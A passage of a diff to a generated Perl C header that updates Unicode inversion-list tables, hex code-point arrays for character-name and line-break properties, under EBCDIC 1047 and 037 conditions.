+	0xB64,
+	0xB66,
+	0xB70,
 	0xB71,
 	0xB72,
-	0xB83,
+	0xB82,
 	0xB84,
 	0xB85,
 	0xB8B,
@@ -38470,8 +158974,20 @@
 	0xBAB,
 	0xBAE,
 	0xBBA,
+	0xBBE,
+	0xBC3,
+	0xBC6,
+	0xBC9,
+	0xBCA,
+	0xBCE,
 	0xBD0,
 	0xBD1,
+	0xBD7,
+	0xBD8,
+	0xBE6,
+	0xBF0,
+	0xC00,
+	0xC04,
 	0xC05,
 	0xC0D,
 	0xC0E,
@@ -38481,13 +158997,21 @@
 	0xC2A,
 	0xC3A,
 	0xC3D,
-	0xC3E,
+	0xC45,
+	0xC46,
+	0xC49,
+	0xC4A,
+	0xC4E,
+	0xC55,
+	0xC57,
 	0xC58,
 	0xC5B,
 	0xC60,
-	0xC62,
+	0xC64,
+	0xC66,
+	0xC70,
 	0xC80,
-	0xC81,
+	0xC84,
 	0xC85,
 	0xC8D,
 	0xC8E,
@@ -38498,30 +159022,44 @@
 	0xCB4,
 	0xCB5,
 	0xCBA,
-	0xCBD,
-	0xCBE,
+	0xCBC,
+	0xCC5,
+	0xCC6,
+	0xCC9,
+	0xCCA,
+	0xCCE,
+	0xCD5,
+	0xCD7,
 	0xCDE,
 	0xCDF,
 	0xCE0,
-	0xCE2,
+	0xCE4,
+	0xCE6,
+	0xCF0,
 	0xCF1,
 	0xCF3,
+	0xD00,
+	0xD04,
 	0xD05,
 	0xD0D,
 	0xD0E,
 	0xD11,
 	0xD12,
-	0xD3B,
-	0xD3D,
-	0xD3E,
-	0xD4E,
+	0xD45,
+	0xD46,
+	0xD49,
+	0xD4A,
 	0xD4F,
 	0xD54,
-	0xD57,
+	0xD58,
 	0xD5F,
-	0xD62,
+	0xD64,
+	0xD66,
+	0xD70,
 	0xD7A,
 	0xD80,
+	0xD82,
+	0xD84,
 	0xD85,
 	0xD97,
 	0xD9A,
@@ -38532,12 +159070,24 @@
 	0xDBE,
 	0xDC0,
 	0xDC7,
+	0xDCA,
+	0xDCB,
+	0xDCF,
+	0xDD5,
+	0xDD6,
+	0xDD7,
+	0xDD8,
+	0xDE0,
+	0xDE6,
+	0xDF0,
+	0xDF2,
+	0xDF4,
 	0xE01,
-	0xE31,
-	0xE32,
-	0xE33,
+	0xE3B,
 	0xE40,
-	0xE47,
+	0xE4F,
+	0xE50,
+	0xE5A,
 	0xE81,
 	0xE83,
 	0xE84,
@@ -38561,43 +159111,47 @@
 	0xEAA,
 	0xEAC,
 	0xEAD,
-	0xEB1,
-	0xEB2,
-	0xEB3,
-	0xEBD,
+	0xEBA,
+	0xEBB,
 	0xEBE,
 	0xEC0,
 	0xEC5,
 	0xEC6,
 	0xEC7,
+	0xEC8,
+	0xECE,
+	0xED0,
+	0xEDA,
 	0xEDC,
 	0xEE0,
 	0xF00,
 	0xF01,
-	0xF40,
+	0xF18,
+	0xF1A,
+	0xF20,
+	0xF2A,
+	0xF35,
+	0xF36,
+	0xF37,
+	0xF38,
+	0xF39,
+	0xF3A,
+	0xF3E,
 	0xF48,
 	0xF49,
 	0xF6D,
-	0xF88,
-	0xF8D,
+	0xF71,
+	0xF85,
+	0xF86,
+	0xF98,
+	0xF99,
+	0xFBD,
+	0xFC6,
+	0xFC7,
 	0x1000,
-	0x102B,
-	0x103F,
-	0x1040,
+	0x104A,
 	0x1050,
-	0x1056,
-	0x105A,
-	0x105E,
-	0x1061,
-	0x1062,
-	0x1065,
-	0x1067,
-	0x106E,
-	0x1071,
-	0x1075,
-	0x1082,
-	0x108E,
-	0x108F,
+	0x109E,
 	0x10A0,
 	0x10C6,
 	0x10C7,
@@ -38638,6 +159192,8 @@
 	0x1316,
 	0x1318,
 	0x135B,
+	0x135D,
+	0x1360,
 	0x1380,
 	0x1390,
 	0x13A0,
@@ -38657,32 +159213,42 @@
 	0x1700,
 	0x170D,
 	0x170E,
-	0x1712,
+	0x1715,
 	0x1720,
-	0x1732,
+	0x1735,
 	0x1740,
-	0x1752,
+	0x1754,
 	0x1760,
 	0x176D,
 	0x176E,
 	0x1771,
+	0x1772,
+	0x1774,
 	0x1780,
-	0x17B4,
+	0x17D4,
 	0x17D7,
 	0x17D8,
 	0x17DC,
-	0x17DD,
+	0x17DE,
+	0x17E0,
+	0x17EA,
+	0x180B,
+	0x180E,
+	0x1810,
+	0x181A,
 	0x1820,
 	0x1878,
 	0x1880,
-	0x18A9,
-	0x18AA,
 	0x18AB,
 	0x18B0,
 	0x18F6,
 	0x1900,
 	0x191F,
-	0x1950,
+	0x1920,
+	0x192C,
+	0x1930,
+	0x193C,
+	0x1946,
 	0x196E,
 	0x1970,
 	0x1975,
@@ -38690,39 +159256,45 @@
 	0x19AC,
 	0x19B0,
 	0x19CA,
+	0x19D0,
+	0x19DA,
 	0x1A00,
-	0x1A17,
+	0x1A1C,
 	0x1A20,
-	0x1A55,
+	0x1A5F,
+	0x1A60,
+	0x1A7D,
+	0x1A7F,
+	0x1A8A,
+	0x1A90,
+	0x1A9A,
 	0x1AA7,
 	0x1AA8,
-	0x1B05,
-	0x1B34,
-	0x1B45,
+	0x1AB0,
+	0x1ABE,
+	0x1B00,
 	0x1B4C,
-	0x1B83,
-	0x1BA1,
-	0x1BAE,
-	0x1BB0,
-	0x1BBA,
-	0x1BE6,
+	0x1B50,
+	0x1B5A,
+	0x1B6B,
+	0x1B74,
+	0x1B80,
+	0x1BF4,
 	0x1C00,
-	0x1C24,
+	0x1C38,
+	0x1C40,
+	0x1C4A,
 	0x1C4D,
-	0x1C50,
-	0x1C5A,
 	0x1C7E,
 	0x1C80,
 	0x1C89,
-	0x1CE9,
-	0x1CED,
-	0x1CEE,
-	0x1CF2,
-	0x1CF5,
-	0x1CF7,
+	0x1CD0,
+	0x1CD3,
+	0x1CD4,
+	0x1CFA,
 	0x1D00,
-	0x1DC0,
-	0x1E00,
+	0x1DFA,
+	0x1DFB,
 	0x1F16,
 	0x1F18,
 	0x1F1E,
@@ -38760,6 +159332,10 @@
 	0x1FF5,
 	0x1FF6,
 	0x1FFD,
+	0x203F,
+	0x2041,
+	0x2054,
+	0x2055,
 	0x2071,
 	0x2072,
 	0x207F,
@@ -38766,6 +159342,12 @@
 	0x2080,
 	0x2090,
 	0x209D,
+	0x20D0,
+	0x20DD,
+	0x20E1,
+	0x20E2,
+	0x20E5,
+	0x20F1,
 	0x2102,
 	0x2103,
 	0x2107,
@@ -38801,8 +159383,6 @@
 	0x2C60,
 	0x2CE5,
 	0x2CEB,
-	0x2CEF,
-	0x2CF2,
 	0x2CF4,
 	0x2D00,
 	0x2D26,
@@ -38814,7 +159394,7 @@
 	0x2D68,
 	0x2D6F,
 	0x2D70,
-	0x2D80,
+	0x2D7F,
 	0x2D97,
 	0x2DA0,
 	0x2DA7,
@@ -38832,10 +159412,12 @@
 	0x2DD7,
 	0x2DD8,
 	0x2DDF,
+	0x2DE0,
+	0x2E00,
 	0x3005,
 	0x3008,
 	0x3021,
-	0x302A,
+	0x3030,
 	0x3031,
 	0x3036,
 	0x3038,
@@ -38842,6 +159424,8 @@
 	0x303D,
 	0x3041,
 	0x3097,
+	0x3099,
+	0x309B,
 	0x309D,
 	0x30A0,
 	0x30A1,
@@ -38849,7 +159433,7 @@
 	0x30FC,
 	0x3100,
 	0x3105,
-	0x312E,
+	0x312F,
 	0x3131,
 	0x318F,
 	0x31A0,
@@ -38859,7 +159443,7 @@
 	0x3400,
 	0x4DB6,
 	0x4E00,
-	0x9FD6,
+	0x9FEB,
 	0xA000,
 	0xA48D,
 	0xA4D0,
@@ -38867,15 +159451,13 @@
 	0xA500,
 	0xA60D,
 	0xA610,
-	0xA620,
-	0xA62A,
 	0xA62C,
 	0xA640,
-	0xA66F,
+	0xA670,
+	0xA674,
+	0xA67E,
 	0xA67F,
-	0xA69E,
-	0xA6A0,
-	0xA6F0,
+	0xA6F2,
 	0xA717,
 	0xA720,
 	0xA722,
@@ -38885,67 +159467,47 @@
 	0xA7B0,
 	0xA7B8,
 	0xA7F7,
-	0xA802,
-	0xA803,
-	0xA806,
-	0xA807,
-	0xA80B,
-	0xA80C,
-	0xA823,
+	0xA828,
 	0xA840,
 	0xA874,
-	0xA882,
-	0xA8B4,
-	0xA8F2,
+	0xA880,
+	0xA8C6,
+	0xA8D0,
+	0xA8DA,
+	0xA8E0,
 	0xA8F8,
 	0xA8FB,
 	0xA8FC,
 	0xA8FD,
 	0xA8FE,
-	0xA90A,
-	0xA926,
+	0xA900,
+	0xA92E,
 	0xA930,
-	0xA947,
+	0xA954,
 	0xA960,
 	0xA97D,
-	0xA984,
-	0xA9B3,
+	0xA980,
+	0xA9C1,
 	0xA9CF,
-	0xA9D0,
+	0xA9DA,
 	0xA9E0,
-	0xA9E5,
-	0xA9E6,
-	0xA9F0,
-	0xA9FA,
 	0xA9FF,
 	0xAA00,
-	0xAA29,
+	0xAA37,
 	0xAA40,
-	0xAA43,
-	0xAA44,
-	0xAA4C,
+	0xAA4E,
+	0xAA50,
+	0xAA5A,
 	0xAA60,
 	0xAA77,
 	0xAA7A,
-	0xAA7B,
-	0xAA7E,
-	0xAAB0,
-	0xAAB1,
-	0xAAB2,
-	0xAAB5,
-	0xAAB7,
-	0xAAB9,
-	0xAABE,
-	0xAAC0,
-	0xAAC1,
-	0xAAC2,
 	0xAAC3,
 	0xAADB,
 	0xAADE,
 	0xAAE0,
-	0xAAEB,
+	0xAAF0,
 	0xAAF2,
-	0xAAF5,
+	0xAAF7,
 	0xAB01,
 	0xAB07,
 	0xAB09,
@@ -38961,7 +159523,11 @@
 	0xAB5C,
 	0xAB66,
 	0xAB70,
-	0xABE3,
+	0xABEB,
+	0xABEC,
+	0xABEE,
+	0xABF0,
+	0xABFA,
 	0xAC00,
 	0xD7A4,
 	0xD7B0,
@@ -38977,8 +159543,6 @@
 	0xFB13,
 	0xFB18,
 	0xFB1D,
-	0xFB1E,
-	0xFB1F,
 	0xFB29,
 	0xFB2A,
 	0xFB37,
@@ -39002,6 +159566,14 @@
 	0xFDC8,
 	0xFDF0,
 	0xFDFA,
+	0xFE00,
+	0xFE10,
+	0xFE20,
+	0xFE30,
+	0xFE33,
+	0xFE35,
+	0xFE4D,
+	0xFE50,
 	0xFE71,
 	0xFE72,
 	0xFE73,
@@ -39016,13 +159588,15 @@
 	0xFE7E,
 	0xFE7F,
 	0xFEFD,
+	0xFF10,
+	0xFF1A,
 	0xFF21,
 	0xFF3B,
+	0xFF3F,
+	0xFF40,
 	0xFF41,
 	0xFF5B,
 	0xFF66,
-	0xFF9E,
-	0xFFA0,
 	0xFFBF,
 	0xFFC2,
 	0xFFC8,
@@ -39048,16 +159622,20 @@
 	0x100FB,
 	0x10140,
 	0x10175,
+	0x101FD,
+	0x101FE,
 	0x10280,
 	0x1029D,
 	0x102A0,
 	0x102D1,
+	0x102E0,
+	0x102E1,
 	0x10300,
 	0x10320,
-	0x10330,
+	0x1032D,
 	0x1034B,
 	0x10350,
-	0x10376,
+	0x1037B,
 	0x10380,
 	0x1039E,
 	0x103A0,
@@ -39068,6 +159646,8 @@
 	0x103D6,
 	0x10400,
 	0x1049E,
+	0x104A0,
+	0x104AA,
 	0x104B0,
 	0x104D4,
 	0x104D8,
@@ -39111,13 +159691,19 @@
 	0x109BE,
 	0x109C0,
 	0x10A00,
-	0x10A01,
-	0x10A10,
+	0x10A04,
+	0x10A05,
+	0x10A07,
+	0x10A0C,
 	0x10A14,
 	0x10A15,
 	0x10A18,
 	0x10A19,
 	0x10A34,
+	0x10A38,
+	0x10A3B,
+	0x10A3F,
+	0x10A40,
 	0x10A60,
 	0x10A7D,
 	0x10A80,
@@ -39125,7 +159711,7 @@
 	0x10AC0,
 	0x10AC8,
 	0x10AC9,
-	0x10AE5,
+	0x10AE7,
 	0x10B00,
 	0x10B36,
 	0x10B40,
@@ -39140,23 +159726,29 @@
 	0x10CB3,
 	0x10CC0,
 	0x10CF3,
-	0x11003,
-	0x11038,
-	0x11083,
-	0x110B0,
+	0x11000,
+	0x11047,
+	0x11066,
+	0x11070,
+	0x1107F,
+	0x110BB,
 	0x110D0,
 	0x110E9,
-	0x11103,
-	0x11127,
+	0x110F0,
+	0x110FA,
+	0x11100,
+	0x11135,
+	0x11136,
+	0x11140,
 	0x11150,
-	0x11173,
+	0x11174,
 	0x11176,
 	0x11177,
-	0x11183,
-	0x111B3,
-	0x111C1,
+	0x11180,
 	0x111C5,
-	0x111DA,
+	0x111CA,
+	0x111CD,
+	0x111D0,
 	0x111DB,
 	0x111DC,
 	0x111DD,
@@ -39163,7 +159755,9 @@
 	0x11200,
 	0x11212,
 	0x11213,
-	0x1122C,
+	0x11238,
+	0x1123E,
+	0x1123F,
 	0x11280,
 	0x11287,
 	0x11288,
@@ -39175,7 +159769,11 @@
 	0x1129F,
 	0x112A9,
 	0x112B0,
-	0x112DF,
+	0x112EB,
+	0x112F0,
+	0x112FA,
+	0x11300,
+	0x11304,
 	0x11305,
 	0x1130D,
 	0x1130F,
@@ -39188,48 +159786,96 @@
 	0x11334,
 	0x11335,
 	0x1133A,
-	0x1133D,
-	0x1133E,
+	0x1133C,
+	0x11345,
+	0x11347,
+	0x11349,
+	0x1134B,
+	0x1134E,
 	0x11350,
 	0x11351,
+	0x11357,
+	0x11358,
 	0x1135D,
-	0x11362,
+	0x11364,
+	0x11366,
+	0x1136D,
+	0x11370,
+	0x11375,
 	0x11400,
-	0x11435,
-	0x11447,
 	0x1144B,
+	0x11450,
+	0x1145A,
 	0x11480,
-	0x114B0,
-	0x114C4,
 	0x114C6,
 	0x114C7,
 	0x114C8,
+	0x114D0,
+	0x114DA,
 	0x11580,
-	0x115AF,
+	0x115B6,
+	0x115B8,
+	0x115C1,
 	0x115D8,
-	0x115DC,
+	0x115DE,
 	0x11600,
-	0x11630,
+	0x11641,
 	0x11644,
 	0x11645,
+	0x11650,
+	0x1165A,
 	0x11680,
-	0x116AB,
+	0x116B8,
+	0x116C0,
+	0x116CA,
 	0x11700,
 	0x1171A,
+	0x1171D,
+	0x1172C,
+	0x11730,
+	0x1173A,
 	0x118A0,
-	0x118E0,
+	0x118EA,
 	0x118FF,
 	0x11900,
+	0x11A00,
+	0x11A3F,
+	0x11A47,
+	0x11A48,
+	0x11A50,
+	0x11A84,
+	0x11A86,
+	0x11A9A,
 	0x11AC0,
 	0x11AF9,
 	0x11C00,
 	0x11C09,
 	0x11C0A,
-	0x11C2F,
-	0x11C40,
+	0x11C37,
+	0x11C38,
 	0x11C41,
+	0x11C50,
+	0x11C5A,
 	0x11C72,
 	0x11C90,
+	0x11C92,
+	0x11CA8,
+	0x11CA9,
+	0x11CB7,
+	0x11D00,
+	0x11D07,
+	0x11D08,
+	0x11D0A,
+	0x11D0B,
+	0x11D37,
+	0x11D3A,
+	0x11D3B,
+	0x11D3C,
+	0x11D3E,
+	0x11D3F,
+	0x11D48,
+	0x11D50,
+	0x11D5A,
 	0x12000,
 	0x1239A,
 	0x12400,
@@ -39244,12 +159890,18 @@
 	0x16A39,
 	0x16A40,
 	0x16A5F,
+	0x16A60,
+	0x16A6A,
 	0x16AD0,
 	0x16AEE,
+	0x16AF0,
+	0x16AF5,
 	0x16B00,
-	0x16B30,
+	0x16B37,
 	0x16B40,
 	0x16B44,
+	0x16B50,
+	0x16B5A,
 	0x16B63,
 	0x16B78,
 	0x16B7D,
@@ -39257,17 +159909,19 @@
 	0x16F00,
 	0x16F45,
 	0x16F50,
-	0x16F51,
-	0x16F93,
+	0x16F7F,
+	0x16F8F,
 	0x16FA0,
 	0x16FE0,
-	0x16FE1,
+	0x16FE2,
 	0x17000,
 	0x187ED,
 	0x18800,
 	0x18AF3,
 	0x1B000,
-	0x1B002,
+	0x1B11F,
+	0x1B170,
+	0x1B2FC,
 	0x1BC00,
 	0x1BC6B,
 	0x1BC70,
@@ -39276,6 +159930,20 @@
 	0x1BC89,
 	0x1BC90,
 	0x1BC9A,
+	0x1BC9D,
+	0x1BC9F,
+	0x1D165,
+	0x1D16A,
+	0x1D16D,
+	0x1D173,
+	0x1D17B,
+	0x1D183,
+	0x1D185,
+	0x1D18C,
+	0x1D1AA,
+	0x1D1AE,
+	0x1D242,
+	0x1D245,
 	0x1D400,
 	0x1D455,
 	0x1D456,
@@ -39336,10 +160004,38 @@
 	0x1D7C3,
 	0x1D7C4,
 	0x1D7CC,
+	0x1D7CE,
+	0x1D800,
+	0x1DA00,
+	0x1DA37,
+	0x1DA3B,
+	0x1DA6D,
+	0x1DA75,
+	0x1DA76,
+	0x1DA84,
+	0x1DA85,
+	0x1DA9B,
+	0x1DAA0,
+	0x1DAA1,
+	0x1DAB0,
+	0x1E000,
+	0x1E007,
+	0x1E008,
+	0x1E019,
+	0x1E01B,
+	0x1E022,
+	0x1E023,
+	0x1E025,
+	0x1E026,
+	0x1E02B,
 	0x1E800,
 	0x1E8C5,
+	0x1E8D0,
+	0x1E8D7,
 	0x1E900,
-	0x1E944,
+	0x1E94B,
+	0x1E950,
+	0x1E95A,
 	0x1EE00,
 	0x1EE04,
 	0x1EE05,
@@ -39414,108 +160110,113 @@
 	0x2B81E,
 	0x2B820,
 	0x2CEA2,
+	0x2CEB0,
+	0x2EBE1,
 	0x2F800,
-	0x2FA1E
+	0x2FA1E,
+	0xE0100,
+	0xE01F0
 };
 
-#endif	/* defined(PERL_IN_UTF8_C) */
+#   endif	/* EBCDIC 1047 */
 
-#if defined(PERL_IN_PERL_C)
+#   if 'A' == 193 /* EBCDIC 037 */ \
+     && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \
+     && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \
+     && '$' == 91 && '@' == 124 && '`' == 121
 
-static const UV _Perl_LB_invlist[] = { /* for EBCDIC 1047 */
-	2279,	/* Number of elements */
+static const UV PL__PERL_CHARNAME_CONTINUE_invlist[] = { /* for EBCDIC 037 */
+	1421,	/* Number of elements */
 	148565664, /* Version and data structure type */
-	0,	/* 0 if the list starts at 0;
+	1,	/* 0 if the list starts at 0;
 		   1 if it starts at the element beyond 0 */
 	0x0,
-	0x5,
-	0x6,
-	0xB,
-	0xD,
-	0xE,
-	0x15,
-	0x16,
-	0x25,
-	0x26,
 	0x40,
 	0x41,
 	0x42,
 	0x4A,
-	0x4B,
-	0x4C,
 	0x4D,
 	0x4E,
-	0x4F,
-	0x50,
+	0x51,
 	0x5A,
-	0x5B,
-	0x5C,
 	0x5D,
 	0x5E,
-	0x5F,
 	0x60,
 	0x61,
 	0x62,
-	0x6B,
-	0x6C,
+	0x6A,
 	0x6D,
-	0x6F,
+	0x6E,
 	0x70,
-	0x7A,
-	0x7B,
-	0x7D,
-	0x7E,
-	0x7F,
+	0x79,
 	0x80,
 	0x8A,
 	0x8C,
 	0x8F,
-	0x90,
 	0x91,
+	0x9D,
+	0x9E,
 	0x9F,
 	0xA0,
+	0xA1,
+	0xA2,
 	0xAA,
 	0xAC,
-	0xAD,
-	0xAE,
-	0xB1,
-	0xB3,
-	0xBD,
-	0xBE,
-	0xBF,
-	0xC0,
+	0xAF,
 	0xC1,
 	0xCA,
 	0xCB,
 	0xD0,
 	0xD1,
+	0xDA,
+	0xDB,
 	0xE0,
-	0xE1,
-	0xF0,
+	0xE2,
+	0xEA,
+	0xEB,
 	0xFA,
+	0xFB,
 	0xFF,
 	0x100,
-	0x2C8,
-	0x2C9,
-	0x2CC,
-	0x2CD,
-	0x2DF,
+	0x2C2,
+	0x2C6,
+	0x2D2,
 	0x2E0,
+	0x2E5,
+	0x2EC,
+	0x2ED,
+	0x2EE,
+	0x2EF,
 	0x300,
-	0x34F,
-	0x350,
-	0x35C,
-	0x363,
-	0x370,
+	0x375,
+	0x376,
+	0x378,
+	0x37B,
 	0x37E,
 	0x37F,
+	0x380,
+	0x386,
+	0x387,
+	0x388,
+	0x38B,
+	0x38C,
+	0x38D,
+	0x38E,
+	0x3A2,
+	0x3A3,
+	0x3F6,
+	0x3F7,
+	0x482,
 	0x483,
+	0x488,
 	0x48A,
-	0x589,
-	0x58A,
-	0x58B,
-	0x58F,
-	0x590,
+	0x530,
+	0x531,
+	0x557,
+	0x559,
+	0x55A,
+	0x561,
+	0x588,
 	0x591,
 	0x5BE,
 	0x5BF,
@@ -39530,95 +160231,90 @@
 	0x5EB,
 	0x5F0,
 	0x5F3,
-	0x609,
-	0x60C,
-	0x60E,
 	0x610,
 	0x61B,
-	0x61C,
-	0x61D,
-	0x61E,
 	0x620,
-	0x64B,
-	0x660,
 	0x66A,
-	0x66B,
-	0x66D,
-	0x670,
-	0x671,
+	0x66E,
 	0x6D4,
 	0x6D5,
-	0x6D6,
 	0x6DD,
 	0x6DF,
-	0x6E5,
-	0x6E7,
 	0x6E9,
 	0x6EA,
-	0x6EE,
-	0x6F0,
-	0x6FA,
-	0x711,
-	0x712,
-	0x730,
+	0x6FD,
+	0x6FF,
+	0x700,
+	0x710,
 	0x74B,
-	0x7A6,
-	0x7B1,
+	0x74D,
+	0x7B2,
 	0x7C0,
-	0x7CA,
-	0x7EB,
-	0x7F4,
-	0x7F8,
-	0x7F9,
+	0x7F6,
 	0x7FA,
-	0x816,
-	0x81A,
-	0x81B,
-	0x824,
-	0x825,
-	0x828,
-	0x829,
+	0x7FB,
+	0x800,
 	0x82E,
-	0x859,
+	0x840,
 	0x85C,
+	0x860,
+	0x86B,
+	0x8A0,
+	0x8B5,
+	0x8B6,
+	0x8BE,
 	0x8D4,
 	0x8E2,
 	0x8E3,
-	0x904,
-	0x93A,
-	0x93D,
-	0x93E,
-	0x950,
-	0x951,
-	0x958,
-	0x962,
 	0x964,
 	0x966,
 	0x970,
-	0x981,
+	0x971,
 	0x984,
+	0x985,
+	0x98D,
+	0x98F,
+	0x991,
+	0x993,
+	0x9A9,
+	0x9AA,
+	0x9B1,
+	0x9B2,
+	0x9B3,
+	0x9B6,
+	0x9BA,
 	0x9BC,
-	0x9BD,
-	0x9BE,
 	0x9C5,
 	0x9C7,
 	0x9C9,
 	0x9CB,
-	0x9CE,
+	0x9CF,
 	0x9D7,
 	0x9D8,
-	0x9E2,
+	0x9DC,
+	0x9DE,
+	0x9DF,
 	0x9E4,
 	0x9E6,
-	0x9F0,
 	0x9F2,
-	0x9F4,
-	0x9F9,
-	0x9FA,
-	0x9FB,
 	0x9FC,
+	0x9FD,
 	0xA01,
 	0xA04,
+	0xA05,
+	0xA0B,
+	0xA0F,
+	0xA11,
+	0xA13,
+	0xA29,
+	0xA2A,
+	0xA31,
+	0xA32,
+	0xA34,
+	0xA35,
+	0xA37,
+	0xA38,
+	0xA3A,
 	0xA3C,
 	0xA3D,
 	0xA3E,
@@ -39629,32 +160325,55 @@
 	0xA4E,
 	0xA51,
 	0xA52,
+	0xA59,
+	0xA5D,
+	0xA5E,
+	0xA5F,
 	0xA66,
-	0xA70,
-	0xA72,
-	0xA75,
 	0xA76,
 	0xA81,
 	0xA84,
+	0xA85,
+	0xA8E,
+	0xA8F,
+	0xA92,
+	0xA93,
+	0xAA9,
+	0xAAA,
+	0xAB1,
+	0xAB2,
+	0xAB4,
+	0xAB5,
+	0xABA,
 	0xABC,
-	0xABD,
-	0xABE,
 	0xAC6,
 	0xAC7,
 	0xACA,
 	0xACB,
 	0xACE,
-	0xAE2,
+	0xAD0,
+	0xAD1,
+	0xAE0,
 	0xAE4,
 	0xAE6,
 	0xAF0,
-	0xAF1,
-	0xAF2,
+	0xAF9,
+	0xB00,
 	0xB01,
 	0xB04,
+	0xB05,
+	0xB0D,
+	0xB0F,
+	0xB11,
+	0xB13,
+	0xB29,
+	0xB2A,
+	0xB31,
+	0xB32,
+	0xB34,
+	0xB35,
+	0xB3A,
 	0xB3C,
-	0xB3D,
-	0xB3E,
 	0xB45,
 	0xB47,
 	0xB49,
@@ -39662,12 +160381,34 @@
 	0xB4E,
 	0xB56,
 	0xB58,
-	0xB62,
+	0xB5C,
+	0xB5E,
+	0xB5F,
 	0xB64,
 	0xB66,
 	0xB70,
+	0xB71,
+	0xB72,
 	0xB82,
-	0xB83,
+	0xB84,
+	0xB85,
+	0xB8B,
+	0xB8E,
+	0xB91,
+	0xB92,
+	0xB96,
+	0xB99,
+	0xB9B,
+	0xB9C,
+	0xB9D,
+	0xB9E,
+	0xBA0,
+	0xBA3,
+	0xBA5,
+	0xBA8,
+	0xBAB,
+	0xBAE,
+	0xBBA,
 	0xBBE,
 	0xBC3,
 	0xBC6,
@@ -39674,15 +160415,23 @@
 	0xBC9,
 	0xBCA,
 	0xBCE,
+	0xBD0,
+	0xBD1,
 	0xBD7,
 	0xBD8,
 	0xBE6,
 	0xBF0,
-	0xBF9,
-	0xBFA,
 	0xC00,
 	0xC04,
-	0xC3E,
+	0xC05,
+	0xC0D,
+	0xC0E,
+	0xC11,
+	0xC12,
+	0xC29,
+	0xC2A,
+	0xC3A,
+	0xC3D,
 	0xC45,
 	0xC46,
 	0xC49,
@@ -39690,15 +160439,25 @@
 	0xC4E,
 	0xC55,
 	0xC57,
-	0xC62,
+	0xC58,
+	0xC5B,
+	0xC60,
 	0xC64,
 	0xC66,
 	0xC70,
-	0xC81,
+	0xC80,
 	0xC84,
+	0xC85,
+	0xC8D,
+	0xC8E,
+	0xC91,
+	0xC92,
+	0xCA9,
+	0xCAA,
+	0xCB4,
+	0xCB5,
+	0xCBA,
 	0xCBC,
-	0xCBD,
-	0xCBE,
 	0xCC5,
 	0xCC6,
 	0xCC9,
@@ -39706,28 +160465,46 @@
 	0xCCE,
 	0xCD5,
 	0xCD7,
-	0xCE2,
+	0xCDE,
+	0xCDF,
+	0xCE0,
 	0xCE4,
 	0xCE6,
 	0xCF0,
-	0xD01,
+	0xCF1,
+	0xCF3,
+	0xD00,
 	0xD04,
-	0xD3E,
+	0xD05,
+	0xD0D,
+	0xD0E,
+	0xD11,
+	0xD12,
 	0xD45,
 	0xD46,
 	0xD49,
 	0xD4A,
-	0xD4E,
-	0xD57,
+	0xD4F,
+	0xD54,
 	0xD58,
-	0xD62,
+	0xD5F,
 	0xD64,
 	0xD66,
 	0xD70,
-	0xD79,
 	0xD7A,
+	0xD80,
 	0xD82,
 	0xD84,
+	0xD85,
+	0xD97,
+	0xD9A,
+	0xDB2,
+	0xDB3,
+	0xDBC,
+	0xDBD,
+	0xDBE,
+	0xDC0,
+	0xDC7,
 	0xDCA,
 	0xDCB,
 	0xDCF,
@@ -39740,44 +160517,54 @@
 	0xDF0,
 	0xDF2,
 	0xDF4,
-	0xE31,
-	0xE32,
-	0xE34,
+	0xE01,
 	0xE3B,
-	0xE3F,
 	0xE40,
-	0xE47,
 	0xE4F,
 	0xE50,
 	0xE5A,
-	0xE5C,
-	0xEB1,
-	0xEB2,
-	0xEB4,
+	0xE81,
+	0xE83,
+	0xE84,
+	0xE85,
+	0xE87,
+	0xE89,
+	0xE8A,
+	0xE8B,
+	0xE8D,
+	0xE8E,
+	0xE94,
+	0xE98,
+	0xE99,
+	0xEA0,
+	0xEA1,
+	0xEA4,
+	0xEA5,
+	0xEA6,
+	0xEA7,
+	0xEA8,
+	0xEAA,
+	0xEAC,
+	0xEAD,
 	0xEBA,
 	0xEBB,
-	0xEBD,
+	0xEBE,
+	0xEC0,
+	0xEC5,
+	0xEC6,
+	0xEC7,
 	0xEC8,
 	0xECE,
 	0xED0,
 	0xEDA,
+	0xEDC,
+	0xEE0,
+	0xF00,
 	0xF01,
-	0xF05,
-	0xF06,
-	0xF08,
-	0xF09,
-	0xF0B,
-	0xF0C,
-	0xF0D,
-	0xF12,
-	0xF13,
-	0xF14,
-	0xF15,
 	0xF18,
 	0xF1A,
 	0xF20,
 	0xF2A,
-	0xF34,
 	0xF35,
 	0xF36,
 	0xF37,
@@ -39784,614 +160571,393 @@
 	0xF38,
 	0xF39,
 	0xF3A,
-	0xF3B,
-	0xF3C,
-	0xF3D,
 	0xF3E,
-	0xF40,
+	0xF48,
+	0xF49,
+	0xF6D,
 	0xF71,
-	0xF7F,
-	0xF80,
 	0xF85,
 	0xF86,
-	0xF88,
-	0xF8D,
 	0xF98,
 	0xF99,
 	0xFBD,
-	0xFBE,
-	0xFC0,
 	0xFC6,
 	0xFC7,
-	0xFD0,
-	0xFD2,
-	0xFD3,
-	0xFD4,
-	0xFD9,
-	0xFDB,
-	0x102B,
-	0x103F,
-	0x1040,
+	0x1000,
 	0x104A,
-	0x104C,
-	0x1056,
-	0x105A,
-	0x105E,
-	0x1061,
-	0x1062,
-	0x1065,
-	0x1067,
-	0x106E,
-	0x1071,
-	0x1075,
-	0x1082,
-	0x108E,
-	0x108F,
-	0x1090,
-	0x109A,
+	0x1050,
 	0x109E,
-	0x1100,
-	0x1160,
-	0x11A8,
-	0x1200,
+	0x10A0,
+	0x10C6,
+	0x10C7,
+	0x10C8,
+	0x10CD,
+	0x10CE,
+	0x10D0,
+	0x10FB,
+	0x10FC,
+	0x1249,
+	0x124A,
+	0x124E,
+	0x1250,
+	0x1257,
+	0x1258,
+	0x1259,
+	0x125A,
+	0x125E,
+	0x1260,
+	0x1289,
+	0x128A,
+	0x128E,
+	0x1290,
+	0x12B1,
+	0x12B2,
+	0x12B6,
+	0x12B8,
+	0x12BF,
+	0x12C0,
+	0x12C1,
+	0x12C2,
+	0x12C6,
+	0x12C8,
+	0x12D7,
+	0x12D8,
+	0x1311,
+	0x1312,
+	0x1316,
+	0x1318,
+	0x135B,
 	0x135D,
 	0x1360,
-	0x1361,
-	0x1362,
-	0x1400,
+	0x1380,
+	0x1390,
+	0x13A0,
+	0x13F6,
+	0x13F8,
+	0x13FE,
 	0x1401,
+	0x166D,
+	0x166F,
 	0x1680,
 	0x1681,
 	0x169B,
-	0x169C,
-	0x169D,
+	0x16A0,
 	0x16EB,
 	0x16EE,
